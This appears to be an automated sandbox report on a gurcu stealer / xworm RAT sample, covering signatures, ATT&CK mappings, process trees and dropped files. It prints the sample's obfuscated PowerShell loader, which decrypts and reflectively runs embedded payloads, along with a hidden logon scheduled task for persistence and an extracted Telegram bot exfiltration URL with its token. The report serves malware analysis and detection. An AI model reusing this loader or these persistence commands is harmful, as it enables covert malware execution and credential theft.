gurcu | 49a7db4ab12330edff1ef80c5e0c9c93d69c4fe36e4ae25eb92d311be55baf66

Analysis

max time kernel
297s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
25-09-2024 13:31

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General

Target

telegram malware.bat.vbs
Size

47KB
MD5

2d4b3f85f3619e096e14096a0849fbf9
SHA1

c9aa9a3f00830625ff3f806d0b0d6a22ac3a7d93
SHA256

49a7db4ab12330edff1ef80c5e0c9c93d69c4fe36e4ae25eb92d311be55baf66
SHA512

42f220a2dee917c3c14164a4fe2399e196218fcea7bc5d56afee6c08ac0bf88b765a9e5bda1cff5f17d59d85800575ceba26819116ca33829a27abed2b53c4aa
SSDEEP

768:0yWnyN9IbUZIYiztjyHg6QihA1WmmaMj17Hln1nVrV:0E9XqYwtWAb1DmdxLln5

Score

10^/10

gurcu xworm execution rat stealer trojan

Malware Config

Extracted

Family

xworm

Version

5.0

aes.plain

Extracted

Family

gurcu

https://api.telegram.org/bot7533145045:AAGnW8Bkr0_G1f_ZxiKTve5hlRZjphTc0aM/sendMessage?chat_id=-4512836800

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/4432-62-0x0000021D334F0000-0x0000021D334FE000-memory.dmp	family_xworm

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 4 IoCs

flow	pid	Process
48	4432	powershell.exe
53	4432	powershell.exe
60	2948	powershell.exe
61	2948	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2024	powershell.exe
4576	powershell.exe
1900	powershell.exe
3524	powershell.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings	taskmgr.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
344	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4432	powershell.exe
4952	taskmgr.exe
4952	taskmgr.exe
4432	powershell.exe
2024	powershell.exe
2024	powershell.exe
4952	taskmgr.exe
3864	powershell.exe
3864	powershell.exe
3864	powershell.exe
4952	taskmgr.exe
4952	taskmgr.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4952	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4952	taskmgr.exe
Token: SeSystemProfilePrivilege	4952	taskmgr.exe
Token: SeCreateGlobalPrivilege	4952	taskmgr.exe
Token: SeDebugPrivilege	4432	powershell.exe
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeDebugPrivilege	3864	powershell.exe
Token: SeIncreaseQuotaPrivilege	3864	powershell.exe
Token: SeSecurityPrivilege	3864	powershell.exe
Token: SeTakeOwnershipPrivilege	3864	powershell.exe
Token: SeLoadDriverPrivilege	3864	powershell.exe
Token: SeSystemProfilePrivilege	3864	powershell.exe
Token: SeSystemtimePrivilege	3864	powershell.exe
Token: SeProfSingleProcessPrivilege	3864	powershell.exe
Token: SeIncBasePriorityPrivilege	3864	powershell.exe
Token: SeCreatePagefilePrivilege	3864	powershell.exe
Token: SeBackupPrivilege	3864	powershell.exe
Token: SeRestorePrivilege	3864	powershell.exe
Token: SeShutdownPrivilege	3864	powershell.exe
Token: SeDebugPrivilege	3864	powershell.exe
Token: SeSystemEnvironmentPrivilege	3864	powershell.exe
Token: SeRemoteShutdownPrivilege	3864	powershell.exe
Token: SeUndockPrivilege	3864	powershell.exe
Token: SeManageVolumePrivilege	3864	powershell.exe
Token: 33	3864	powershell.exe
Token: 34	3864	powershell.exe
Token: 35	3864	powershell.exe
Token: 36	3864	powershell.exe
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeIncreaseQuotaPrivilege	4576	powershell.exe
Token: SeSecurityPrivilege	4576	powershell.exe
Token: SeTakeOwnershipPrivilege	4576	powershell.exe
Token: SeLoadDriverPrivilege	4576	powershell.exe
Token: SeSystemProfilePrivilege	4576	powershell.exe
Token: SeSystemtimePrivilege	4576	powershell.exe
Token: SeProfSingleProcessPrivilege	4576	powershell.exe
Token: SeIncBasePriorityPrivilege	4576	powershell.exe
Token: SeCreatePagefilePrivilege	4576	powershell.exe
Token: SeBackupPrivilege	4576	powershell.exe
Token: SeRestorePrivilege	4576	powershell.exe
Token: SeShutdownPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeSystemEnvironmentPrivilege	4576	powershell.exe
Token: SeRemoteShutdownPrivilege	4576	powershell.exe
Token: SeUndockPrivilege	4576	powershell.exe
Token: SeManageVolumePrivilege	4576	powershell.exe
Token: 33	4576	powershell.exe
Token: 34	4576	powershell.exe
Token: 35	4576	powershell.exe
Token: 36	4576	powershell.exe
Token: SeIncreaseQuotaPrivilege	4576	powershell.exe
Token: SeSecurityPrivilege	4576	powershell.exe
Token: SeTakeOwnershipPrivilege	4576	powershell.exe
Token: SeLoadDriverPrivilege	4576	powershell.exe
Token: SeSystemProfilePrivilege	4576	powershell.exe
Token: SeSystemtimePrivilege	4576	powershell.exe
Token: SeProfSingleProcessPrivilege	4576	powershell.exe
Token: SeIncBasePriorityPrivilege	4576	powershell.exe
Token: SeCreatePagefilePrivilege	4576	powershell.exe
Token: SeBackupPrivilege	4576	powershell.exe
Token: SeRestorePrivilege	4576	powershell.exe
Token: SeShutdownPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeSystemEnvironmentPrivilege	4576	powershell.exe
Token: SeRemoteShutdownPrivilege	4576	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe
4952	taskmgr.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3740 wrote to memory of 4208	3740	cmd.exe	98
PID 3740 wrote to memory of 4208	3740	cmd.exe	98
PID 3740 wrote to memory of 4432	3740	cmd.exe	99
PID 3740 wrote to memory of 4432	3740	cmd.exe	99
PID 4432 wrote to memory of 2024	4432	powershell.exe	100
PID 4432 wrote to memory of 2024	4432	powershell.exe	100
PID 4432 wrote to memory of 3864	4432	powershell.exe	101
PID 4432 wrote to memory of 3864	4432	powershell.exe	101
PID 4432 wrote to memory of 4576	4432	powershell.exe	103
PID 4432 wrote to memory of 4576	4432	powershell.exe	103
PID 2284 wrote to memory of 2760	2284	cmd.exe	108
PID 2284 wrote to memory of 2760	2284	cmd.exe	108
PID 2284 wrote to memory of 2948	2284	cmd.exe	109
PID 2284 wrote to memory of 2948	2284	cmd.exe	109
PID 2948 wrote to memory of 1900	2948	powershell.exe	110
PID 2948 wrote to memory of 1900	2948	powershell.exe	110
PID 2948 wrote to memory of 4988	2948	powershell.exe	111
PID 2948 wrote to memory of 4988	2948	powershell.exe	111
PID 2948 wrote to memory of 3524	2948	powershell.exe	114
PID 2948 wrote to memory of 3524	2948	powershell.exe	114

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\telegram malware.bat.vbs"
1⤵
PID:1680

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4952

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2980

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\telegram malware.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:3740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('xkyHsUEz3I6ELu2lR0z7m6Kw05wb28L/CX73bVCU13U='); $aes_var.IV=[System.Convert]::FromBase64String('/jm5YEgLEZRhB2OjwCSNTQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$nShDB=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$qhgjI=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$CCizP=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($nShDB, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $CCizP.CopyTo($qhgjI); $CCizP.Dispose(); $nShDB.Dispose(); $qhgjI.Dispose(); $qhgjI.ToArray();}function execute_function($param_var,$param2_var){ IEX '$FvEfJ=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$fCCPt=$FvEfJ.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$fCCPt.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$bqfmX = 'C:\Users\Admin\AppData\Local\Temp\telegram malware.bat';$host.UI.RawUI.WindowTitle = $bqfmX;$ZowMM=[System.IO.File]::ReadAllText($bqfmX).Split([Environment]::NewLine);foreach ($WJela in $ZowMM) { if ($WJela.StartsWith('THuwPURqSTjmbbqbMgKM')) { $jeKym=$WJela.Substring(20); break; }}$payloads_var=[string[]]$jeKym.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:4208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\telegram malware')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\SC.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4576

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\SC.cmd
1⤵
- Opens file in notepad (likely ransom note)
PID:344

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\SC.cmd" "
1⤵
- Suspicious use of WriteProcessMemory
PID:2284
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('xkyHsUEz3I6ELu2lR0z7m6Kw05wb28L/CX73bVCU13U='); $aes_var.IV=[System.Convert]::FromBase64String('/jm5YEgLEZRhB2OjwCSNTQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$nShDB=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$qhgjI=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$CCizP=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($nShDB, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $CCizP.CopyTo($qhgjI); $CCizP.Dispose(); $nShDB.Dispose(); $qhgjI.Dispose(); $qhgjI.ToArray();}function execute_function($param_var,$param2_var){ IEX '$FvEfJ=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$fCCPt=$FvEfJ.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$fCCPt.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$bqfmX = 'C:\Users\Admin\AppData\Roaming\SC.cmd';$host.UI.RawUI.WindowTitle = $bqfmX;$ZowMM=[System.IO.File]::ReadAllText($bqfmX).Split([Environment]::NewLine);foreach ($WJela in $ZowMM) { if ($WJela.StartsWith('THuwPURqSTjmbbqbMgKM')) { $jeKym=$WJela.Substring(20); break; }}$payloads_var=[string[]]$jeKym.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:2760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:2948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\SC')
    3⤵
    PID:4988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\SC.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3524

C:\Windows\System32\SppExtComObj.Exe
"C:\Windows\System32\SppExtComObj.Exe"
1⤵
PID:1884

C:\Windows\System32\SppExtComObj.Exe
"C:\Windows\System32\SppExtComObj.Exe"
1⤵
PID:560

C:\Windows\System32\SppExtComObj.Exe
"C:\Windows\System32\SppExtComObj.Exe"
1⤵
PID:1816

C:\Windows\System32\Spectrum.exe
"C:\Windows\System32\Spectrum.exe"
1⤵
PID:4932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3f01549ee3e4c18244797530b588dad9

SHA1
3e87863fc06995fe4b741357c68931221d6cc0b9

SHA256
36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a

SHA512
73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
e4de99c1795fd54aa87da05fa39c199c

SHA1
dfaaac2de1490fae01104f0a6853a9d8fe39a9d7

SHA256
23c35f4fcd9f110592d3ff34490e261efbcf6c73aa753887479197fd15289457

SHA512
796b6d3f7b9a336bc347eae8fb11cdbf2ae2ad73aae58de79e096c3ad57bd45eadddae445a95c4ee7452554568d7ab55b0307972b24e2ff75eae4a098ba9e926

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
cc2ce575753731574bf10ff6e5162032

SHA1
b660e5156f97af770e5d359fdd2a6ea697f359fb

SHA256
c0c37fd6fb26d101e347a1e9b5190029bb591d8c57392dbf2df4741b11fc2dfa

SHA512
715bb49c3977d51ff39b0458b99c5e3ba786e3110a4015402cd023b484ff385704475238fb813d074524d76bc733b0d4e92b57b64d187b3d6a664e4f38eebc1b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
97748f71ed95026706014e8524266292

SHA1
f60663ea2e2a778c57d07d9678fe04c79c3ff942

SHA256
f1320df712bf0d218f62a481ea318abfaba12a6465f9d2e07a6ead9d9bd28d9f

SHA512
b6df8e3eea09cdd6964bb7801a615df38a3043a2961176ec275fef531a8378fd0d21ee96d01165d192b32d0eddc021ad82fa609ab216005a60bf42b79e1e86c9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
11b2ddac5f77354fdf267769650c46f4

SHA1
4b4fb743eefb36191871d8bd3dc374caed41a9db

SHA256
b61a60bf71fdae451a7be222d041d153262224d241c0803e0f7bb289013ac134

SHA512
72372c52617151d65d97363770b128c8a0180e4713ec98f992c2f802c4781fcd6ab4dc6153b256254870aae63e30d453fb61489c1f2f9f912d5efd1bb97bc2ae

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0waypmk4.lup.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\SC.cmd

Filesize
47KB

MD5
2d4b3f85f3619e096e14096a0849fbf9

SHA1
c9aa9a3f00830625ff3f806d0b0d6a22ac3a7d93

SHA256
49a7db4ab12330edff1ef80c5e0c9c93d69c4fe36e4ae25eb92d311be55baf66

SHA512
42f220a2dee917c3c14164a4fe2399e196218fcea7bc5d56afee6c08ac0bf88b765a9e5bda1cff5f17d59d85800575ceba26819116ca33829a27abed2b53c4aa

Download Submit
memory/4432-23-0x0000021D32F70000-0x0000021D32FB4000-memory.dmp

Filesize
272KB

Download
memory/4432-37-0x0000021D32F40000-0x0000021D32F48000-memory.dmp

Filesize
32KB

Download
memory/4432-13-0x0000021D32DF0000-0x0000021D32E12000-memory.dmp

Filesize
136KB

Download
memory/4432-62-0x0000021D334F0000-0x0000021D334FE000-memory.dmp

Filesize
56KB

Download
memory/4432-38-0x0000021D32F50000-0x0000021D32F5E000-memory.dmp

Filesize
56KB

Download
memory/4432-24-0x0000021D333A0000-0x0000021D33416000-memory.dmp

Filesize
472KB

Download
memory/4432-36-0x0000021D32DD0000-0x0000021D32DD8000-memory.dmp

Filesize
32KB

Download
memory/4952-9-0x0000021E38320000-0x0000021E38321000-memory.dmp

Filesize
4KB

Download
memory/4952-1-0x0000021E38320000-0x0000021E38321000-memory.dmp

Filesize
4KB

Download
memory/4952-7-0x0000021E38320000-0x0000021E38321000-memory.dmp

Filesize
4KB

Download
memory/4952-10-0x0000021E38320000-0x0000021E38321000-memory.dmp

Filesize
4KB

Download
memory/4952-8-0x0000021E38320000-0x0000021E38321000-memory.dmp

Filesize
4KB

Download
memory/4952-11-0x0000021E38320000-0x0000021E38321000-memory.dmp

Filesize
4KB

Download
memory/4952-12-0x0000021E38320000-0x0000021E38321000-memory.dmp

Filesize
4KB

Download
memory/4952-6-0x0000021E38320000-0x0000021E38321000-memory.dmp

Filesize
4KB

Download
memory/4952-2-0x0000021E38320000-0x0000021E38321000-memory.dmp

Filesize
4KB

Download
memory/4952-0-0x0000021E38320000-0x0000021E38321000-memory.dmp

Filesize
4KB

Download